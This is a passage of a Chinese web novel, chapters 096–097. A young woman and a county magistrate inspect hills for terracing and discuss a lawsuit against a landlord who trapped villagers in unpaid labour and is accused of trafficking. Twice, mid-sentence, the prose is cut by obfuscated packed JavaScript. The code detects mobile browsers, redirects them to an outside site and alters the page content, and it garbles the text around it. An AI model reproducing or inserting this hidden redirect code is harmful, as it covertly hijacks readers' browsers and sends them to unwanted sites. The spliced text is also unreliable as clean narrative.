二爷却在这一刻,一把抓住了她的手,将她带到跟前,并紧紧钳制住她纤细的腰肢。 前边传来车夫歉疚的声音,“二爷,路太滑了,奴才没赶好马车……” “没事儿,继续往前走吧,之后小心慢行。” “唉,唉,奴才一定注意。” 二爷松开了手,云莺也若无其事的在另一侧坐了下来。 她这个位置距离二爷最远,就在另一侧的窗户处。 云莺非常不自在,她腰间还隐隐作痛,那炽热的力道似乎穿透了她的衣衫,烫到了她的皮肤,以至于她坐卧难安。 云莺的脸也很烫,她迫不及待的掀开车窗帘子,想透透风。 冷风扑来,她的面颊确实不那么热了,但她心中却依旧烫的厉害。 明明早就想好要与二爷保持距离,可他只是一句话、一个动作,她就会忍不住再次走向他。 她也会因为他的靠近,再一次怦然心动,难以抑制。 吹了一会儿凉风,云莺紊乱的思绪终于平复下来,她落下来帘子,若无其事的与二爷说起修路的事儿。 “这边都是泥土路,之前连下了几天雨,行人走来走去,路上都是大大小小的泥坑。” 不仅有泥坑,还有大大小小不少泥脚印,以及独轮车压出来车辙印。 这路本就难行,偏偏如今又下起雨来,道路就变得湿滑。 这也就是车夫技术好,只是略微颠簸了些,不然,若一不小心掉进泥坑里,轻则翻车,重则将人磕的头破血流。 “二爷,什么时候修路啊,这路颠的人浑身疼。” 二爷将沾水的帕子丢到一边去,云莺这才注意到,他们俩的茶水都洒了。 不仅洒了,她那只茶盏滚到了榻上,二爷的那只茶盏倒是依旧在他手上,只是里边的茶水将二爷的半边衣袖浇湿了。 二爷刚才就是用手帕,将自己的衣衫清理一遍,并将洒落在榻上的茶叶清理了。至于那湿漉漉的软铺,却没办法收拾了,只能等回府后再浣洗。 云莺注意到这一幕,人都慌了,“我都忘了这些,您,您没烫伤吧?” 云莺看着二爷垂下的衣袖,手指动了动。 终于,她还是没能扛过自己的本能,将二爷的胳膊抓了过来。 她刚给二爷倒的茶水,不算滚烫,可也是热的。这要是把二爷的胳膊烫伤了,她万死难辞其咎。 096 淫梦戏猴局 好在,二爷胳膊上的皮肤只是红了一片,却没有起燎泡。 云莺松了口气,提着的心也松了下来。 她从荷包中拿起玉白的小瓷瓶,那瓷瓶非常小,也就手指那么大。诸如这般大小、颜色却不同的瓷瓶,云莺荷包中还有三五个,里边装的都是不同药物。 打开白色瓷瓶的盖子,云莺想找上药的棉签,可这车上怎么会有? 没办法,最后她只能将药膏倒在自己指腹上,又硬着头皮将手指上的药膏,均匀的涂抹在二爷胳膊上。 二爷的胳膊修长白皙,紧实又充满力量。他的肌肉滚烫,烫的云莺的耳后根也微微泛红。 她的手指终究是放在他胳膊上,二爷的胳膊猛地绷紧,甚至身躯都僵直了。 云莺以为是她弄疼了二爷,就说,“我轻一些,您别躲。您胳膊都红了,别回头再出现溃烂或水泡。” “嗯。” 二爷应了一声,没再挣扎,只是他不着痕迹的往外侧了侧身子。而他说话的声音,那嗓子更是沙哑的厉害,不知情的人会以为,他得了很严重的风寒。 云莺也注意到这一点,便一边抹药,一边看向二爷,“您受凉了么?我听您的嗓子哑的厉害。” 二爷轻咳一声,“没有……只是不太舒服。” “那应该还是过了寒气,等回府我让人给您送些姜汤过去。您喝些姜汤,再泡个热水澡,兴许就好了。” “你安排就是。” 药膏终于涂抹好了,二爷的胳膊上现在一片润泽的痕迹。 云莺说,“先不急着把袖子放下来,就这么着先晾一晾,省的把衣袖弄脏了。” “好。” 云莺又去将放在小榻上的垫褥折叠起来,放在一边,随后掀开坐榻的木板,露出下边的柜子,从中取出新的垫褥来。 已经脏污的那个垫褥,自然先放在柜子中,等回了府上再拆洗。 她忙叨叨的,不让自己停下来。 二爷陡然开口说,“修路的事情,最早也要等到今年年底。” “嗯?您说什么?”云莺停下动作看过来。 “我说修路。你刚才不是问我,什么时候能修路么?年底应该可以,我争取年前先把县城周边的路修好,等过了年,再从县城往周边乡镇修路。” 云莺兴奋了一下,“确定年底能修好么?” “应该可以。” “那就太好了,到时候我就不怕乘车马出门了。说实话,二爷,如今和您一道出来办差,真挺受罪的。” 这句话一出,二爷忍不住轻笑出声。 他说道,“那真是委屈你了。” 云莺也笑了,就说,“不委屈。” 她说了句真心话,“能跟您一道出来,也挺好的。能看市井百态,还能游山玩水,不管怎么说,也比一天到晚被关在后院强。” “你有一天到晚呆在后院?不是想出去就出去了?” “我哪有?好吧,我也就私自出过一两次而已,还每次都被您逮个正着。” 两人说着话,很快就到了目的地。 这是距离县城最近的荒山,从县城到这里,乘坐马车也就半个时辰的路途。 因为外边下的雨,二爷就不让云莺下车了,他让车夫围着荒山转了一圈,随即问云莺,“这一座可以么?” “好像……不太行。”云莺说,“太陡峭了,我感觉造不出梯田来。” 云莺说她根本不知道该如何造梯田,这是实话。可让她选择荒山时,她脑中却不由的想起上一世的那些梯田。 那些画面留在云莺的脑海中,原以为没什么用,可仔细想来,却到处都是助益。 那些梯田所在的山坡,山坡的坡度好像都不会超过三十度,而眼前这个,怕是六十度都有了。 太过陡峭的荒山,开凿梯田时工程量大,所得的田地面积小,耕作困难。而且暴雨来临时,因为原生植被已经被破坏,会造成严重的次生灾害。 云莺比划了一下坡度的大小,“我觉得不能比这个坡度更陡了,不然不仅事倍功半,而且还可能会导致滑坡、泥石流。” 云莺提及滑坡、泥石流,二爷的面容严肃了许多。再回想云莺之前考虑的要点,二爷思考过后微颔首,“如此一来,就可以筛掉许多荒山。” “要筛掉很多么?那剩余有用的能有多少?” “还不确定,等让随雨几人跑一遍就知道了。” 两人说着话,二爷就吩咐车夫准备回城。 云莺问说,“不去看其余的山脉了么?” “先不去了。我让随雨按你的意思,先将符合你要求的找出来,到时候你再亲自过去看看合不合适。” 云莺点头,这样肯定最好不过。 只是,如此一来,不就显得他们今天出来,是白折腾一番么? 云莺歉疚,“我也是刚想起来,不能用太陡峭的山坡,我之前都没想到这一点。” “没事儿,现在想起也不晚。你看,出来走一走,也是有收获的,最起码,关于建造梯田该选用什么样的山脉,你心中已经有数了。” “这倒是。” 云莺笑了,二爷也笑了 。 回城的途中,云莺问起二爷,养珠的事情如何了,进展的可顺利? 云莺这个问题,主要是针对前塘村来说的。 之前王河与二爷说起养珠,最先提及的,就是想占用前塘村与后塘村之间的那口弯月塘。 可弯月塘不仅属于后塘村,也属于前塘村。前塘村的百姓不愿意被占便宜,此事才一直没进行下去。 不过,以前也是因为县里不看好,所以才没去调解此事。如今二爷对人工养珠抱了很大期望,自然会去做前塘村里正的工作。想来有他从中调解转圜,这事情肯定已经定下了吧? 果然,就见二爷点点头,“已经初步确定了要在弯月塘中养珠。” “弯月塘的水质合适么?” “我对这些了解不多,但卢先生说可以试一试。” “卢先生现在在做什么?” “他在后塘村选取了几个后生,一道出发去选购珍珠贝了。” 这次云莺真的惊讶了,“选购珍珠贝?” 二爷点头,“准确来说,是选购珍珠母贝。” 接下来,二爷仔细与云莺说了人工养珠珍珠的可行性,以及母贝选择的多样性。 但有一点,云归县并没有太多贝类,而现有的贝类也不符合卢先生的要求,是以,卢先生才亲自带着人,出了远门。 “他们去沿海那些州府了么?” “是的。具体会去哪里,卢先生也说不准。不过如果一切顺利,他们大概会半月左右就回来;若不顺利,怕是要耽搁一两个月。” 二爷说起这件事,眉眼很平淡。 云莺却忍不住发问了,“您就不怕卢先生带着您给的银子跑路么?”人工养珠所需要的投资,可都是二爷拨过去的。 二爷看她一眼,笑了,“不怕,他的家小还在后塘村。再来,我也相信卢先生的为人,那是个受儒家教养的仁人君子,做不出毁诺逃跑的事儿。” 云莺点头,“您说的有道理,是我的想法狭隘了,我对不起卢先生。” 二爷又笑了,这次却不知是为何发笑的,且一笑就停不下来。 云莺扁扁嘴巴,“我说了什么很搞笑的事情么?” “没有。”二爷心里想:只是你颓唐的模样,搞笑又可怜,让人心生疼爱罢了。 两人说着闲话,很快马车就回到了县衙。 雨水淅淅沥沥,至今还没停止。 他们下车时,随雨不知从哪里变出一把雨伞来。 云莺伸手要接,二爷已经先一步接了过去,将油纸伞撑在了两人的头顶上。 云莺说,“二爷,还是我来吧,那么多人看着呢。” “无妨,我拿着就是。”二爷似乎又笑了一下,“你太矮,撑着伞我还要迁就你,不如我来。” 云莺:“……” 这怎么还人身攻击上了? 话说回来,她长得很矮么? 和二爷一比,她确实算矮的,头顶也仅到二爷的肩膀处,但那还不是因为二爷太高了? 云莺现如今这个身高,初步估计得有一米六五。这身高在北方女子中,称得上平平,但绝不算矮,但她现在在岭南府。岭南府的人身高普遍不太高,她在女子中间,已经鹤立鸡群了好么? 云莺气不愤,想和二爷争辩几句,也就是此时,陡然响起登堂鼓被敲响的声音。 “咚!咚!咚!” 那声音震耳欲聋,一声声传播开来,让人的心跳都不自觉地加快了许多。 混着那响鼓声,雨水在此刻陡然加大,无端就让人觉得,好大一起冤案! 云莺看向二爷,就见此刻二爷的面色,变得无比肃穆。 云莺就说,“二爷,您过去么?” 二爷颔首,“要过去的。” 二爷步伐加快,云莺也不敢拖后腿。 登堂鼓一响,所有事情似乎都被按下了快进键。 云莺被二爷带到了书房中,只来得及丢下一句,“你先在这歇着”,二爷就匆匆去了房间,火速换上一身官服,然后在随云与墨雪的作陪下,快速出了院子,往县衙去了。 登堂鼓已经停了,外边的雨水却哗哗下的起劲。 云莺坐在书房中的那张太师椅上,她托着腮,看着窗户外绵绵不绝的雨水,心思却早跑到公堂上去。 公堂上的案子不是一时半刻能审完的,再加上雨水还哗哗哗的下,云莺再好奇,也不能跑过去旁听。 她只能收回自己的注意力,继续拿出她的册子开始核算。 云莺的注意力过分专注,但因为太好奇有谁会下雨天跑来告状,她就分出了一份心神,时刻听着外边的动静。 书房门被推开的第一时间,云莺就扭过头看了过去。 果不其然,进来的正是二爷。 二爷穿着一身玄色的官服,手上托着官帽。 云莺不是第一次见二爷穿官服,可每次还是会被二爷惊艳到。 他本就神清骨秀、清俊倜傥,穿上官服后,便眉眼端肃、威严沉稳,仪态也是雍容华贵,真就是一眼之下,就让人心生向往,心跳怦然。 云莺稳了稳跳的过快的心脏,才开口问二爷,“怎么了 ?是出了什么案子了?” “看吧,被我猜对了吧,我就说,二爷一回来,云莺最先问的,肯定是这个问题。” 随雨和随云紧跟在二爷身后进了门,随雨还冲随雨露出个大咧咧的笑来,“你可真是,被我猜的透透的。” 随云拉了弟弟一把,让他快别作死了,没看二爷的目光都扫视过来了。 好在随雨并不傻,只是赢了大哥一把,心中太雀跃,才说了错话。 等回过神后,随雨不等二爷开口,先一说,“二爷,我去把您的换洗衣衫拿到这里来,还是您随我去房间更衣?” 随云直接道:“拿到这里吧,别让二爷来回跑了。” 兄弟两个说定了此事,也不问二爷乐意不乐意,片刻就没了踪影。 云莺站起身,狐疑的看看二爷,“你们……拿我打赌了?” “我没有。”二爷摇摇头,“随云也不会,应该是随雨自说自话。” “是这样么?” “不然呢?” 云莺从二爷手中接过官帽,放在一旁的柜子上。又不死心的问二爷,“外边下着雨,究竟是谁有那么大的冤屈,这时候跑到县衙来告状?” “这个时候过来,自然是被逼的走投无路了。” “所以呢二爷,究竟是怎么一回事儿?” 云莺眼睛亮晶晶的,泛着好奇的色泽。她巴望着从二爷这里得到答案,好奇的趴在桌案上,身子微微往前倾斜。 二爷看着这样的云莺,眸中都暗沉了几分。 她自己没注意到,这个姿势之下,她上半身几乎都放在书案上了。那一对绵软的雪白,鼓鼓囊囊非常显眼,就正好在他眼皮子底下。 二爷喉咙微痒,不免轻咳一声移开视线。 再开口,他声音更加喑哑了,“给我倒杯茶水来。” “茶水?哦,好的。”云莺忙给二爷倒茶,倒好后递过去,嘴上还念叨着,“二爷您指定是感染风寒了,我听您说话特别不对劲。稍后我就让人给您送姜汤来,晚上您睡前,也可以吃一粒治风寒的丸药以防万一。” 二爷应了“好”,端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616628|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起那盏茶水就要喝。 “小心烫啊二爷。” “不烫,水都快凉了。” 云莺:“……”真的假的,她刚才没注意到啊。 恰此刻,随云与随雨一道过来了。 弟兄俩一人撑着一把油纸伞,至于二爷的衣衫,则被随雨抱在怀中。 进了书房,随雨将那件外衫径直塞进了云莺怀里,“服侍二爷换衣服啊。” 又给二爷打了个招呼,“二爷,我们再去查查,那姓常的到底有多少产业。” 二爷挥挥手,“去吧。” 随云和随雨一道下去,临要出去了,随雨还不忘提醒云莺,“别忘了服侍二爷换衣裳啊,二爷最不耐烦穿官服,嫌束缚。” “哦,好,我知道了。” 随雨这才满意的关了门,哼着潇洒的小调离开了。 书房内,云莺看了看手中的衣裳,“二爷,要现在换衣裳么?” 二爷放下茶盏,“换了吧。” 两人同时起身,走到一侧的空地上。 二爷顾自解开了官服,脱下丢给云莺,云莺则把手中的外衫递给二爷。 这件外衫是件象牙白色的,工笔山水楼阁圆领袍,有九成新。二爷在府中时,穿过几次。 这衣裳完全贴合了二爷的身形,穿在身上,愈发衬得二爷宽肩窄腰、矜贵从容,还多了几许少年的意气风发。 再看圆领袍上一截雪白的中衣领子,再往上是明显凸起的喉结,二爷此时正从最上边一个盘扣扣起,双手从喉咙上轻轻蹭过。 云莺转过身,将手中那件还带着二爷体温的官服,仔细折叠起来,放在官帽下边。 做完这些事,等她转过身来,却见二爷已经穿好了衣衫,又坐回到太师椅上了。 “今天来告状的苦主,乃是一个姓常的贫民。”二爷陡然开口说。 云莺意识到,二爷这是要满足她的好奇心,要把刚才的案子说给她听。她赶紧坐回椅子上,迫不及待的问,“他状告什么呢?” “状告十年前衙门断了冤案。状告东家常顺,剥削奴役哄骗他们,如今还威逼他们签下文书,替东家偿还每年的赋税。” 这话太拗口了,云莺听不太懂,她就露出讨好的笑容来,“您说仔细些,我听不太懂。” 二爷看着云莺,忍不住笑了。 但他也没有故意吊她胃口,之后果然如她所愿,仔细的说起这件案子来。 这件案子要从十年前说起。 十年前,常顺雇佣百姓,让百姓帮忙做工开荒。可云归县自古被称为蛮夷之地,那是有其道理在的。 百姓接受常顺的雇佣,并在事前索要了一定量的银子作为定金,但被雇佣的百姓好吃懒做,每天敷衍其事,等到常顺前来验收那一天,荒地只被开出了三两分,距离目标百亩田地,差距还非常非常大。 常顺不满意,要索回定金,百姓更不满意,只说工期到了,常顺要将另一部分酬劳给他们。 双方纠缠不下,最后告了官。 这些鸡毛蒜皮 的小事儿,官府自然懒得管理,只让他们私下解决。 最后,常顺没要回来定金,百姓们也没要回另一半报酬。 事情到此自然没完。 只说又几天,常顺亲自开荒,并在荒地上刨出了三个金块。 这消息不胫而走,很快常顺买下的荒地上聚满了人。 百姓们有的刨出了银锭子,有的刨出了铜板……对于不事生产、好吃懒做的人来说,这是天上掉下的馅饼。这种银子,不捡白不捡,捡了就是他们自己的。 十里八村的百姓都蜂拥过来了,不分昼夜的刨地,那段时间,那片荒地到了夜晚都亮如白昼。 “可是,后来的人根本没有刨到银子,甚至是铜板,对不对?” 二爷微颔首,“你猜对了。” 云莺又说,“他们在常顺的荒地上刨出银两来,常顺驱赶不走他们,但肯定会告官,让他们将在荒地上的所得还给他对不对?” 二爷露出个赞许的笑,“你又猜对了。” 云莺笑了,“我不仅知道常顺告了官,我还知道,这一次,常顺指定告赢了。” 二爷拍掌,“果真不能小瞧了你,这你都能猜到。” 二爷满面笑意,云莺却要极力隐忍,才能不冲他翻白眼。 “二爷,你做戏做的太假了。这常顺用的,可不是‘淫梦戏猴’这一计么?你都是当朝状元了,我不信这么简单的故事你都不知道。” 何为淫梦戏猴? 说的就是古代有一个人丁奉,他想开荒种茶,无奈囊中羞涩,请不起人来开荒,于是,他想了一个办法。 他事前在荒地上埋好了金子,当着众人的面将其挖出来。百姓轰动,齐齐聚集过来掘金,于是,荒山就被开出来了。 事情到此还没完。 等荒山开好后,丁奉将那些掘到金子的百姓,一纸诉状告上衙门。 衙门判决那些百姓将金子原样奉还,若不然,就要给丁奉做工,以偿还挖到的金子。 事实上,最后那些挖到金子的人,全都去给丁奉做工了。即便他们将挖到的金子全部偿还了,但那些金子,却都被丁奉拆穿,乃是铜镀金。 县官感觉百姓们不知悔改,于是重判。于是,丁奉不仅不出一个铜板,就把荒山开辟出来,甚至还多了许多免费的农人以供使用。 这就是古代的淫梦戏猴局。 这局谋的就是人的贪欲,可惜,百姓们不懂,亦或者是,即便懂,但也都抱着侥幸心理,于是,最后掉入瓮中。 说完这个淫梦戏猴局,再说常顺这个案子。 这案子初听云莺没意识到不妥,可再听,这不就是现实版的淫梦戏猴么? 也因此,她不仅能猜到,常顺告官且赢了案子,她还能猜到,最后那些百姓偿还的银子,肯定被常顺拆穿是铜镀银。由此,那些百姓不得不免费给常顺做工,以抵还债务。 想到这里,云莺不由叹了一声,“百姓们是不对,但常顺用这一招,也太毒了。” “还不止如此。”二爷说。 “不止如此?难道还有后续?” 二爷微颔首,“若没有后续,今天也不会有人冒雨敲响登堂鼓了。” 097 打算 说起这件事的后续,还和二爷有些关系。 二爷前段时间,几乎将县衙所有的差役都放出去丈量田地,核算每家每户具体的田亩面积。 这件事对老百姓来说没什么妨碍,百姓们就那三、五亩地,着实没什么作假的必要。 可对那些乡绅土豪来说,这件事就攸关重大了。 但二爷手段铁血,年后先是流放了贪污的李主簿,后又将范县丞一伙人斩首示众,在云归县立下了赫赫威名。 这个县太爷不是个无能之辈,更不是能轻易被他们拿捏的,再加上县衙中的经年老吏,最后也折在二爷手上,这才震慑的那些乡绅土豪不敢有什么动作。 不然,换做刚上任的二爷想丈量土地,你试试看阻挠的人会有多少,千方百计给你拖后腿的人又有多少。 说这些无外是说,二爷丈量田亩动了一部分的利益,但鉴于二爷手腕强硬,不是个易于的人物,那些乡绅百姓也不敢和他硬杠。 但也只是面上装的乖觉,背地里他们也没少搞鬼。就比如在县衙的差役们丈量土地时,或是给差役们塞些金银,或是背后请吃喝玩乐。总归就一个目的,就是让差役们做个假,不要把他们的实际田亩面积登记上去。 然而,因为现如今县衙的差役,大多是二爷新招募的,再不济就是之前的差役——能留到现在,这些老差役深谙明哲保身之道。他们以前都没有与范县丞之流同流合污,如今又岂肯在二爷上任后,与这些乡绅土豪混在一起? 那不是自掘坟墓么! 差役们不肯接受乡绅土豪给与的好处,自然也不肯为他们作假。 乡绅土豪们无路可走,他们又实在不想承担过多的赋税,他们便想了一个新办法。 “什么办法呢?”云莺又忍不住往前倾了倾身子。 二爷见状,不自在得的在太师椅上,喝了口茶之后又说,“他们让租赁他们田亩的佃户,承担起这部分赋税。不管是以前欠缺的,亦或是之后可能会有的,都转嫁到佃户身上。” 云莺眉头狠狠的皱了起来,“让佃户承担赋税?这不是开玩笑么?” 古往今来,都是东家承担赋税,哪有让佃户承担赋税的道理? 现如今的租赁制度云莺也大致了解过,就比如北方和江南大部分地区,乡绅土豪将土地租赁给百姓,收取每亩地最高收成的百分之五十至六十,作为租子。诸如岭南府这些地区,租子比其余地区还要高,东家竟要收取每亩地最高收成的百分之七十到百分之八十。 想想吧,这边土地为红土,本就赤贫,每亩地的收成不高。庄户人家交了昂贵的租子之后,剩下的粮食,一家子甚至一年到头都只能喝稀的,甚至还吃不饱饭。 他们已经穷苦到这步田地,那些乡绅土豪还要加重他们身上的负担,要让他们承担起之后的赋税? 这可真是赶着羊群过火焰山,把人往死路上逼! 关键是,不仅要承担起之后的赋税,之前欠下的赋税,县太爷肯定也要追缴,到时候补上这份空缺的,肯定也是他们。就是把他们抽筋剥皮论两卖了,他们也补不足这个缺口。 二爷说,“这还不是最惨的,最惨的是,有些百姓就是白做工,一年到头连一点粮食落不到手,还要替他们交赋税。” 这说的就是在常顺家做工的百姓。 因为他们本就是做工抵债,自然不存在常顺给他们发赁金或粮食的事儿。若不是还有家里的田亩结出粮食供养着,这些人早就饿死了。 就这,常顺还嫌便宜占的不够多,还要让那些百姓偿还赋税,这不就把人逼到绝路上了么? 云莺露出恍然大悟的表情,那是得告!不告是个死,告了许是还有一条生路,这换了谁,也得来衙门告上一状。 云莺又问二爷,“这常顺难不成还做了什么恶事?随雨刚才说去查一查他都有那些产业,这又是什么缘故?” 二爷看她一眼,似乎是嫌她问的太多了。 云莺轻抿了抿唇,又没脸没皮的凑上来,“所以呢二爷,这常顺还做什么恶了?” 二爷将茶盏放回到书案上,“据那告状的人说,常顺还贩卖人口。” “贩卖人口?” 现在贩卖人口可以说是合法的买卖,常顺这么操作不犯法啊。等等,难道那些人口,都不是自愿的,都是被掳掠来的? 云莺把她的想说说出来,二爷就点点头,“最近这些年,附近村落每年都有妇女与幼童走失。那常顺养着茶山,每年四处去贩茶,那些妇人与幼童,就是趁此机会被他卖出去的。” 那确实是不显山不漏水……等等!连人都贩卖,这常顺可真是阴损恶毒到家了。 亏她之前还替这人抱不平,觉得这云归县的百姓只拿钱不办事,常顺太吃亏了。可恶,原来到头来,这常顺才是个吃人不吐骨头的恶魔! 云莺的好奇心被满足了,拍拍屁股就想走。 二爷看她站起身,开口问她说,“你要做什么?” “不做什么,我准备回去了啊。”云莺指指外面,“我听着雨音快停了,我还是趁这个机会赶紧回后院吧,不然一会儿雨大了更难走。” 二爷轻呵一声,似乎在斥责她的翻脸无情。 云莺脸红了红,但是,她总不能一直在二爷的书房呆着吧? 二爷似乎也想眼不见为净,摆摆手让她出去吧。 然而,伞呢?伞去哪里了? 外边雨音是小了,但还没停,她顶着雨跑出去,怕是都走不到门口,衣裳就得潮湿了,等她跑到后院,她怕不是要淋成一个落汤鸡。 这个年代,感冒发烧可是有致命危险的。云莺不敢拿自己的身体开玩笑,她就扭头问二爷,“没有伞么?” 二爷讶异了一瞬,舒尔笑了,“那应该是没有。” 之前随云给他撑着伞,随雨自己撑着一把伞,他们两个离开前,应该顺手把伞带走了。 云莺傻眼了,“没有伞我怎么回去?” “那你再等等,等雨彻底停了再走。” “若是雨一直不停呢?” “那就等随云他们回来了,让他们送你回去。” 好在云莺的运气不太差,过了一盏茶左右,雨水彻底停了。 云莺露出个欢快的表情,冲二爷摆摆手,头也不回的往她自己的院子里去了。 后院里并不安静,反倒是嘈杂极了。原来是雨停了,憋闷了大半天的丫鬟婆子们全出来透风了。 看见云莺提着裙角,垫着脚尖从外边过来,那些丫鬟婆子俱都喜笑颜开的过来见礼。 还讨好的问,“姑娘什么时候回来的?” “姑娘没淋着雨吧,刚才的雨下的可大了。” “姑娘用膳了没有,要不要我去通知灶房,给姑娘准备几道小菜?” 云莺一一回应他们,说回来没多久,又说没淋着雨,膳食她也不需要,在回城时,她与二爷一道用了些干粮。 但是,不需要饭食,她需要姜汤。另外,还得让人特意往前院去一趟,给二爷那边也送两碗姜汤去。 云莺就随手抓了一个小丫鬟,让那小丫鬟替她跑个腿儿,往灶房传个话。 她还从荷包中摸出三个铜板给那小丫鬟,小丫鬟得了一笔意外之财,又在云莺跟前露了脸——在二爷跟前露不露脸没关系,反正她们也进不去二爷的院子。可只要在云莺跟前露脸,他们就高兴坏了。 小丫鬟忙不迭的应下此事,三两步往灶房跑去了。 留在现场的其余丫鬟婆子见状,无不露出羡慕的表情,面对云莺时更热情了。 有那心思灵巧的婆子,还找了话题与云樱搭话,“姑娘您知道么,刚才有人来敲登堂鼓了。” “姑娘怎么会不知道?云莺姑娘是和二爷一起出的门,二爷都回来升堂了,云莺姑娘指定也回来了。” “哎呦,云莺姑娘,那您知道今天是什么案子么?雨太大了,我们都没出去旁听。” “肯定是跟生死有关的案子,要不然谁冒这么大雨来告状啊,等雨停了来不行么?” 云莺最后是被闻讯赶来的穗儿和柳儿解救了出来,这才回了自己的院子。 穗儿和柳儿一边嘟囔,“给他们脸了,围着姑娘说个不停。” “姑娘也是好性,下一次她们再敢这么围着您叽叽喳喳,您只管捡离您最近的扇一耳光,剩下的人就都老实了。” “我都看见那婆子的唾沫星子,喷到姑娘脸上来了。姑娘恁好看一张脸,可别长了麻子。” 话是这么说,但等回了云莺的院子,穗儿和柳儿也将云莺围了起来。 她们打探云莺今天和二爷一道出门做什么去了,又打听,之前到底是什么案子。 云莺倒是不瞒着自己这两个丫鬟,有什么说什么,把她们想知道的都说给她们听。 穗儿和柳儿听闻后,两个人气的火冒三丈。 “这常顺太坏了,总有一天他要被天打雷劈!” “算计百姓做工的事儿我听说过,不仅这样,那常顺买的茶山,就距离我家不远。” “距离你家不远?” 柳儿和云莺一道看向了穗儿。 穗儿点点头,“真不远,就和我家隔了两个山头。这事儿我还是听我祖母说的,当初常顺那茶山挖出金子时,我祖母也去挖了,可惜什么都没挖到。” “真的么?竟然有这么巧合的事儿。”云莺喃喃,“这是你们家运气好没挖着,不然也要被常顺坑一把,白给他们做工十余年。” “可不就是这么回事儿么。”穗儿道,“我祖母也庆幸呢,说幸好当初白忙碌几天,啥也没挖着。说那些挖了铜板的,只要还回去就好了;可只要挖了金子、银子的,你看看,那个不是被常顺扒了好几层皮。” 穗儿喃喃,“后来大家也转过弯了,知道这是常顺设的局。可县衙的人都被常顺买通了,他们再去衙门伸冤,衙门也不理。就这么着,白给常顺使唤了十多年,被欺负的死死的。” 云莺默了默,忍不住问了一个她考虑了很久的问题,“不是说这边的百姓有点……无赖。” 这可不是她诬赖人,实在是穷乡僻壤出刁民。而从之前常顺出钱请人开荒,那些百姓只拿钱不办事也可以窥出几分,这边的百姓,食古不化、愚昧麻木、狡诈无耻。所以说,这么女干诈刻薄的百姓,难道就因为官府下了判决 ,就老老实实给常顺打白工? 穗儿说,“那自然不能够。事实上,是常顺太卑鄙了,他拿那些人的儿女来威胁。就威胁他们若不好好干活,就搅和的他们家男的娶不上媳妇,闺女嫁不出门。” 云莺:“……”那这可真毒的。也难怪那些百姓都被拿捏的死死的,只能老老实实给常顺做工。 话又说回来,“你说常顺家的茶山与你家相隔不远,他那茶山怎么样?” 穗儿不知道云莺为什么问这个问题,但主子问了,她只管老老实实回答就好。 穗儿就说,“常顺那茶山经营的很好,很赚钱。这都是村里人说的,要我说,其实我感觉应该没有多挣钱。不然常顺只呆在家里等着茶商上门收购就行了,哪至于还得自己亲自出门卖货。” 云莺想和穗儿说,常顺出门卖货只是表面,实际上,他是去卖人。不过这件事目前还在调查阶段,没有实际性的证据,她可不能传谣。 云莺就不说这些了,恰此刻丫鬟提着装了姜汤的食盒过来了。云莺喝了姜汤,去沐浴更衣,如此一天也就过去了。 之后几天,云莺每天不是忙着核算田亩的面积,就是与随云一道出门,去筛选能用来开辟为梯田的荒山。 她每天都忙忙碌碌,风里来雨里去,以至于半个多月后,陡然发现新做好的夏衫竟有些宽松。 穗儿比划着多出来的一部分,“姑娘瘦了这么多。” 她又掐掐云莺纤细的腰肢,“姑娘现在腰细的,我两只手都能合拢过来。” 柳儿也说,“二爷太过分了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616629|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咱们姑娘就一个人,二爷却恨不能把姑娘当几个人使唤。” “能者多劳么,谁让姑娘太能干了呢?” 云莺也是被丫鬟提及,这才意识到自己瘦了不少。她忙不迭的走到镜前,仔细看了看自己的脸。 好在只是人瘦了,脸却没晒黑。 不过,以后日头越来越大,她出门一定不能忘了带帷帽,不然再好的底子做不好防晒工作,也是白搭。 云莺正对着镜子臭美,有小丫鬟匆匆跑过来说,“姑娘,京城荣国公府又送来了许多东西,足足装了两辆马车。姑娘,您过去看看这些东西该怎么处置吧。” “好,我这就去。” 云莺当即应了声,带上穗儿一道往前院去。 路上碰见秋宁,秋宁听闻她们要去做什么,也要跟去凑热闹。 她还说,“我又不会贪墨二爷的东西,我真就是过去看看,顺顺去前院转一转。每天都只能在后院这一亩三分地溜达,我人都快憋疯了。” “嫌憋得慌,你和我说一声,我让人给你安排车马,你去街上逛一逛也可以啊。” “那还是算了,你又不能陪我,我自己逛多没意思。” 秋宁又说,“话说回来,京里对咱们二爷可真够看重的。这每隔两三个月就要送来许多东西,连吃的带用的,还有穿的,怎么搞得二爷跟没断奶的小娃娃似的。” 云莺四处看了看,回头瞪一眼秋宁,“你快闭嘴吧,让人听了去二爷跟前告你一状,有你的好果子吃。” 秋宁不以为意的扯扯嘴角,“二爷根本不知道我是那号人。他都不知道我,怎么处罚我?好了,好了,我不说就是了。” 一行人说着话来到了车马院,果然,就见两辆马车停在院子里,而车夫已经被墨雪带去一边喝茶去了。 一张货物单子被送到了云莺手上。 吃的东西送去灶房,用的东西她稍后带去二爷院子里,再就是一些文玩、古董、香料、折扇等。 还有一个箱子特意装了些给女子用的胭脂水粉、首饰布料,也不知道是给她们几个人的,还是让二爷走礼或打赏人的。 东西全都准备好,云莺原本让墨雪送去二爷院子里。 墨雪却道:“姑娘若得闲,就劳你受些累,将这些送去归置好。我现在还急着去一趟后塘村,去给二爷送些东西。” 云莺硬着头皮点点头,又问墨雪,“二爷现在在后塘村?是人工养珠的事情有进展了么?” 